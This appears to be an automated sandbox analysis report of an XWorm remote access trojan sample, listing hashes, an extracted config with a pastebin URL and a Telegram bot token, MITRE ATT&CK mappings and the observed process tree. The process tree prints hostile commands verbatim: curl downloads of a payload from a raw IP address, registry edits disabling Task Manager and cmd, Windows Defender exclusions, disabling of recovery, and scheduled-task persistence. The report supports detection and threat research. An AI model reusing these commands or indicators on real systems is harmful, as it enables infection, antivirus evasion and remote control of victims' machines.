xworm | 66c074f64035764781f045e27bd7c2c0d4615ebd60b8f2d3ee02d96555ed8dc5

Analysis

max time kernel
146s
max time network
151s
platform
windows11-21h2_x64
resource
win11-20240508-en
resource tags

arch:x64arch:x86image:win11-20240508-enlocale:en-usos:windows11-21h2-x64system
submitted
17/06/2024, 17:18

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
payload.exe
Size 93KB
Sample240617-vvjdxa1dpr
SHA256 66c074f64035764781f045e27bd7c2c0d4615ebd60b8f2d3ee02d96555ed8dc5
MD5 6220d963d077ca336515ebd0a674cf92
SHA1 4ece712085c300bbc742689934bc8d11bb3bfd49
SHA512 0cdff5f9095ce50476d3c45ccaab5eb833378a758c1db578bb4ae6b58cc6f81663f7af69f160b8c4eaf217c9b6aeb78f66dc639bdc440be01b4a948dced4b416
SSDEEP 1536:b7fbN3eEDhDPA/pICdUkbBtW7upvaLU0bI5taxKo0IOlnToIfYwXrACY:37DhdC6kzWypvaQ0FxyNTBfYWUCY
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

xworm evasion execution persistence rat trojan

Malware Config

Extracted

Family

xworm

Attributes

Install_directory
%ProgramData%
install_file
winlogon.exe
pastebin_url
https://pastebin.com/raw/kTrgfRNT
telegram
https://api.telegram.org/bot6820329388:AAG0ljIyZ1Cj86n9cgzLGNBMldBe9TtqhAM/sendMessage?chat_id=1330099235

Signatures

Detect Xworm Payload 2 IoCs

resource	yara_rule
behavioral2/files/0x0002000000025649-20.dat	family_xworm
behavioral2/memory/3608-22-0x0000000000E30000-0x0000000000E46000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm

Command and Scripting Interpreter: PowerShell 1 TTPs 9 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
720	powershell.exe
1168	powershell.exe
4892	powershell.exe
1604	powershell.exe
4820	powershell.exe
1132	powershell.exe
1432	powershell.exe
1324	powershell.exe
4920	powershell.exe

Disables Task Manager via registry modification
evasion

Disables cmd.exe use via registry modification 1 IoCs

evasion

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-3107365284-1576850094-161165143-1000\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableCMD = "1"	reg.exe

Downloads MZ/PE file

Executes dropped EXE 4 IoCs

pid	Process
3608	lsass.exe
2196	winlogon.exe
4500	winlogon.exe
1236	winlogon.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3107365284-1576850094-161165143-1000\Software\Microsoft\Windows\CurrentVersion\Run\winlogon = "C:\\ProgramData\\winlogon.exe"	lsass.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
7	pastebin.com
10	pastebin.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
4	ip-api.com

Drops file in System32 directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\Recovery	ReAgentc.exe
File opened for modification	C:\Windows\system32\Recovery\ReAgent.xml	ReAgentc.exe

Drops file in Windows directory 5 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Panther\UnattendGC\diagwrn.xml	ReAgentc.exe
File opened for modification	C:\Windows\appcompat\ssh	attrib.exe
File opened for modification	C:\Windows\Logs\ReAgent\ReAgent.log	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\setuperr.log	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagerr.xml	ReAgentc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
4444	schtasks.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
3208	reg.exe

Runs net.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
3596	PING.EXE

Suspicious behavior: EnumeratesProcesses 19 IoCs

pid	Process
4920	powershell.exe
4920	powershell.exe
1132	powershell.exe
1132	powershell.exe
1432	powershell.exe
1432	powershell.exe
1324	powershell.exe
1324	powershell.exe
720	powershell.exe
720	powershell.exe
1168	powershell.exe
1168	powershell.exe
4892	powershell.exe
4892	powershell.exe
1604	powershell.exe
1604	powershell.exe
4820	powershell.exe
4820	powershell.exe
3608	lsass.exe

Suspicious use of AdjustPrivilegeToken 17 IoCs

description	pid	Process
Token: SeDebugPrivilege	4920	powershell.exe
Token: SeBackupPrivilege	4412	vssvc.exe
Token: SeRestorePrivilege	4412	vssvc.exe
Token: SeAuditPrivilege	4412	vssvc.exe
Token: SeDebugPrivilege	3608	lsass.exe
Token: SeDebugPrivilege	1132	powershell.exe
Token: SeDebugPrivilege	1432	powershell.exe
Token: SeDebugPrivilege	1324	powershell.exe
Token: SeDebugPrivilege	720	powershell.exe
Token: SeDebugPrivilege	1168	powershell.exe
Token: SeDebugPrivilege	4892	powershell.exe
Token: SeDebugPrivilege	1604	powershell.exe
Token: SeDebugPrivilege	4820	powershell.exe
Token: SeDebugPrivilege	3608	lsass.exe
Token: SeDebugPrivilege	2196	winlogon.exe
Token: SeDebugPrivilege	4500	winlogon.exe
Token: SeDebugPrivilege	1236	winlogon.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
3608	lsass.exe

Suspicious use of WriteProcessMemory 48 IoCs

description	pid	Process	procid_target
PID 1652 wrote to memory of 3004	1652	payload.exe	79
PID 1652 wrote to memory of 3004	1652	payload.exe	79
PID 3004 wrote to memory of 3596	3004	cmd.exe	80
PID 3004 wrote to memory of 3596	3004	cmd.exe	80
PID 3004 wrote to memory of 2908	3004	cmd.exe	81
PID 3004 wrote to memory of 2908	3004	cmd.exe	81
PID 3004 wrote to memory of 3208	3004	cmd.exe	82
PID 3004 wrote to memory of 3208	3004	cmd.exe	82
PID 3004 wrote to memory of 1564	3004	cmd.exe	83
PID 3004 wrote to memory of 1564	3004	cmd.exe	83
PID 3004 wrote to memory of 5076	3004	cmd.exe	84
PID 3004 wrote to memory of 5076	3004	cmd.exe	84
PID 3004 wrote to memory of 1304	3004	cmd.exe	85
PID 3004 wrote to memory of 1304	3004	cmd.exe	85
PID 3004 wrote to memory of 4492	3004	cmd.exe	86
PID 3004 wrote to memory of 4492	3004	cmd.exe	86
PID 3004 wrote to memory of 4920	3004	cmd.exe	87
PID 3004 wrote to memory of 4920	3004	cmd.exe	87
PID 3004 wrote to memory of 3012	3004	cmd.exe	92
PID 3004 wrote to memory of 3012	3004	cmd.exe	92
PID 3004 wrote to memory of 3900	3004	cmd.exe	93
PID 3004 wrote to memory of 3900	3004	cmd.exe	93
PID 3004 wrote to memory of 4112	3004	cmd.exe	94
PID 3004 wrote to memory of 4112	3004	cmd.exe	94
PID 3004 wrote to memory of 3608	3004	cmd.exe	95
PID 3004 wrote to memory of 3608	3004	cmd.exe	95
PID 3004 wrote to memory of 3952	3004	cmd.exe	96
PID 3004 wrote to memory of 3952	3004	cmd.exe	96
PID 3952 wrote to memory of 3160	3952	net.exe	97
PID 3952 wrote to memory of 3160	3952	net.exe	97
PID 3004 wrote to memory of 1132	3004	cmd.exe	98
PID 3004 wrote to memory of 1132	3004	cmd.exe	98
PID 3004 wrote to memory of 1432	3004	cmd.exe	99
PID 3004 wrote to memory of 1432	3004	cmd.exe	99
PID 3004 wrote to memory of 1324	3004	cmd.exe	100
PID 3004 wrote to memory of 1324	3004	cmd.exe	100
PID 3004 wrote to memory of 720	3004	cmd.exe	101
PID 3004 wrote to memory of 720	3004	cmd.exe	101
PID 3608 wrote to memory of 1168	3608	lsass.exe	102
PID 3608 wrote to memory of 1168	3608	lsass.exe	102
PID 3608 wrote to memory of 4892	3608	lsass.exe	104
PID 3608 wrote to memory of 4892	3608	lsass.exe	104
PID 3608 wrote to memory of 1604	3608	lsass.exe	106
PID 3608 wrote to memory of 1604	3608	lsass.exe	106
PID 3608 wrote to memory of 4820	3608	lsass.exe	108
PID 3608 wrote to memory of 4820	3608	lsass.exe	108
PID 3608 wrote to memory of 4444	3608	lsass.exe	110
PID 3608 wrote to memory of 4444	3608	lsass.exe	110

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
3900	attrib.exe

C:\Users\Admin\AppData\Local\Temp\payload.exe
"C:\Users\Admin\AppData\Local\Temp\payload.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1652
- C:\Windows\system32\cmd.exe
  "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\7A9E.tmp\7A9F.tmp\7AA0.bat C:\Users\Admin\AppData\Local\Temp\payload.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3004
- - C:\Windows\system32\PING.EXE
    ping 8.8.8.8 -n 1
    3⤵
    - Runs ping.exe
    PID:3596
- - C:\Windows\system32\curl.exe
    curl -s -o u32y.bat https://rentry.co/i7zgdqy6/raw/
    3⤵
    PID:2908
- - C:\Windows\system32\reg.exe
    reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /f /v DisableTaskMgr /t REG_DWORD /d 00000001
    3⤵
    - Modifies registry key
    PID:3208
- - C:\Windows\system32\reg.exe
    reg add "HKCU\Software\Policies\Microsoft\Windows\System" /v "DisableCMD" /t REG_DWORD /d 2 /f
    3⤵
    PID:1564
- - C:\Windows\system32\reg.exe
    reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoControlPanel" /t REG_DWORD /d 1 /f
    3⤵
    PID:5076
- - C:\Windows\system32\reg.exe
    reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoControlPanelNamespace" /t REG_DWORD /d 1 /f
    3⤵
    PID:1304
- - C:\Windows\system32\reg.exe
    reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableCMD" /t REG_DWORD /d 1 /f
    3⤵
    - Disables cmd.exe use via registry modification
    PID:4492
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -Command "Disable-ComputerRestore -Drive 'C:'; Enable-ComputerRestore -Drive 'C:'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4920
- - C:\Windows\system32\ReAgentc.exe
    reagentc.exe /disable
    3⤵
    - Drops file in System32 directory
    - Drops file in Windows directory
    PID:3012
- - C:\Windows\system32\attrib.exe
    attrib +h ssh
    3⤵
    - Drops file in Windows directory
    - Views/modifies file attributes
    PID:3900
- - C:\Windows\system32\curl.exe
    curl -s -o C:\Users\Admin\AppData\Local\Temp\lsass.exe "http://185.254.97.190:2024/download/ey341.exe"
    3⤵
    PID:4112
- - C:\Windows\appcompat\ssh\lsass.exe
    lsass.exe
    3⤵
    - Executes dropped EXE
    - Adds Run key to start application
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    PID:3608
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\appcompat\ssh\lsass.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1168
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'lsass.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4892
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\ProgramData\winlogon.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1604
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'winlogon.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4820
  - - C:\Windows\System32\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "winlogon" /tr "C:\ProgramData\winlogon.exe"
      4⤵
      Creates scheduled task(s)
      PID:4444
- - C:\Windows\system32\net.exe
    net session
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3952
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 session
      4⤵
      PID:3160
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1132
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'F:\'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1432
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1324
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:720

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:4412

C:\ProgramData\winlogon.exe
C:\ProgramData\winlogon.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2196

C:\ProgramData\winlogon.exe
C:\ProgramData\winlogon.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4500

C:\ProgramData\winlogon.exe
C:\ProgramData\winlogon.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1236

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 43244c0820ec5074e654ecd149fa744f51b2c1522e90285567713dae64b62f59
MD5 88dc70c361a22feac57b031dd9c1f02f
SHA1 a9b4732260c2a323750022a73480f229ce25d46d
SHA512 19c0532741ebc9751390e6c5ca593a81493652f25c74c8cab29a8b5b1f1efef8d511254a04f50b0c4a20724bae10d96d52af7a76b0c85ddc5f020d4cac41100c
MD5 SHA1 SHA512

Submit Download

winlogon.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\winlogon.exe.log
Size 654B
SHA256 e31b18f21621d9983bfdf1ea3e53884a9d58b8ffd79e0e5790da6f3a81a8b9d3
MD5 2cbbb74b7da1f720b48ed31085cbd5b8
SHA1 79caa9a3ea8abe1b9c4326c3633da64a5f724964
SHA512 ecf02d5240e0c1c005d3ab393aa7eff62bd498c2db5905157e2bf6d29e1b663228a9583950842629d1a4caef404c8941a0c7799b1a3bd1eb890a09fdb7efcff9
MD5 SHA1 SHA512

Submit Download